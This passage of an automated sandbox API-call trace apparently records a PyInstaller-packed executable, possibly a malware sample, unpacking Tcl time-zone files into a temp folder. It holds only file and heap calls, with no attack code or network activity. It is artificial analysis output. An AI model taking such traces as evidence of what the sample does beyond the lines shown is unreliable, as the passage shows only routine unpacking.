dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.366] GetFileType (hFile=0x10c) returned 0x1 [0042.366] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.366] CloseHandle (hObject=0x10c) returned 1 [0042.366] GetLastError () returned 0x0 [0042.366] SetLastError (dwErrCode=0x0) [0042.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.366] GetFileType (hFile=0x10c) returned 0x1 [0042.366] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.367] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.367] CloseHandle (hObject=0x10c) returned 1 [0042.367] GetLastError () returned 0x0 [0042.367] SetLastError (dwErrCode=0x0) [0042.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.367] GetFileType (hFile=0x10c) returned 0x1 [0042.367] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.367] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.367] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.367] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.367] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.367] CloseHandle (hObject=0x10c) returned 1 [0042.367] GetLastError () returned 0x0 [0042.367] SetLastError (dwErrCode=0x0) [0042.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Guernsey") returned 72 [0042.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Guernsey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\guernsey"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.368] GetLastError () returned 0x2 [0042.368] SetLastError (dwErrCode=0x2) [0042.368] GetLastError () returned 0x2 [0042.368] SetLastError (dwErrCode=0x2) [0042.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Guernsey", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Guernsey", lpFilePart=0x0) returned 0x47 [0042.368] GetLastError () returned 0x2 [0042.368] SetLastError (dwErrCode=0x2) [0042.368] GetLastError () returned 0x2 [0042.368] SetLastError (dwErrCode=0x2) [0042.368] GetLastError () returned 0x2 [0042.368] SetLastError (dwErrCode=0x2) [0042.368] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Guernsey") returned 72 [0042.368] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Guernsey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\guernsey"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.368] GetFileType (hFile=0x10c) returned 0x1 [0042.368] htonl (hostlong=0xb2000000) returned 0xb2 [0042.368] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.368] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb2, lpOverlapped=0x0) returned 1 [0042.369] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.369] CloseHandle (hObject=0x10c) returned 1 [0042.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.370] htonl (hostlong=0x30000000) returned 0x30 [0042.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.370] GetFileType (hFile=0x10c) returned 0x1 [0042.370] htonl (hostlong=0xd4155c00) returned 0x5c15d4 [0042.370] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60c5d4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.370] htonl (hostlong=0xc5050000) returned 0x5c5 [0042.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5c5) returned 0x550600 [0042.370] htonl (hostlong=0xc5050000) returned 0x5c5 [0042.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.370] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.370] htonl (hostlong=0xd01b0000) returned 0x1bd0 [0042.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bd0) returned 0x561090 [0042.370] htonl (hostlong=0xc5050000) returned 0x5c5 [0042.370] htonl (hostlong=0xd01b0000) returned 0x1bd0 [0042.370] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c68 [0042.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c68 | out: hHeap=0x530000) returned 1 [0042.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.370] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.370] CloseHandle (hObject=0x10c) returned 1 [0042.371] GetLastError () returned 0x0 [0042.371] SetLastError (dwErrCode=0x0) [0042.371] GetLastError () returned 0x0 [0042.371] SetLastError (dwErrCode=0x0) [0042.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.371] GetFileType (hFile=0x10c) returned 0x1 [0042.371] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.371] CloseHandle (hObject=0x10c) returned 1 [0042.371] GetLastError () returned 0x0 [0042.371] SetLastError (dwErrCode=0x0) [0042.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.371] GetFileType (hFile=0x10c) returned 0x1 [0042.371] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.372] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.372] CloseHandle (hObject=0x10c) returned 1 [0042.372] GetLastError () returned 0x0 [0042.372] SetLastError (dwErrCode=0x0) [0042.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.372] GetFileType (hFile=0x10c) returned 0x1 [0042.372] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.372] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.372] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.373] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.373] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.373] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.373] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.373] CloseHandle (hObject=0x10c) returned 1 [0042.373] GetLastError () returned 0x0 [0042.373] SetLastError (dwErrCode=0x0) [0042.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Helsinki") returned 72 [0042.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Helsinki" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\helsinki"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.373] GetLastError () returned 0x2 [0042.373] SetLastError (dwErrCode=0x2) [0042.373] GetLastError () returned 0x2 [0042.373] SetLastError (dwErrCode=0x2) [0042.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Helsinki", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Helsinki", lpFilePart=0x0) returned 0x47 [0042.373] GetLastError () returned 0x2 [0042.373] SetLastError (dwErrCode=0x2) [0042.373] GetLastError () returned 0x2 [0042.373] SetLastError (dwErrCode=0x2) [0042.373] GetLastError () returned 0x2 [0042.373] SetLastError (dwErrCode=0x2) [0042.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Helsinki") returned 72 [0042.373] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Helsinki" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\helsinki"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.374] GetFileType (hFile=0x10c) returned 0x1 [0042.374] htonl (hostlong=0xd01b0000) returned 0x1bd0 [0042.374] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.375] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.375] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbd0, lpOverlapped=0x0) returned 1 [0042.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.375] CloseHandle (hObject=0x10c) returned 1 [0042.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.376] htonl (hostlong=0x30000000) returned 0x30 [0042.376] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.376] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.376] GetFileType (hFile=0x10c) returned 0x1 [0042.376] htonl (hostlong=0x991b5c00) returned 0x5c1b99 [0042.376] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60cb99, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.376] htonl (hostlong=0x8c000000) returned 0x8c [0042.376] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0042.376] htonl (hostlong=0x8c000000) returned 0x8c [0042.376] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.377] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.377] htonl (hostlong=0xb5000000) returned 0xb5 [0042.377] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x550600 [0042.377] htonl (hostlong=0x8c000000) returned 0x8c [0042.377] htonl (hostlong=0xb5000000) returned 0xb5 [0042.377] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.377] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.377] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.377] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.377] CloseHandle (hObject=0x10c) returned 1 [0042.378] GetLastError () returned 0x0 [0042.378] SetLastError (dwErrCode=0x0) [0042.378] GetLastError () returned 0x0 [0042.378] SetLastError (dwErrCode=0x0) [0042.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.378] GetFileType (hFile=0x10c) returned 0x1 [0042.378] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.378] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 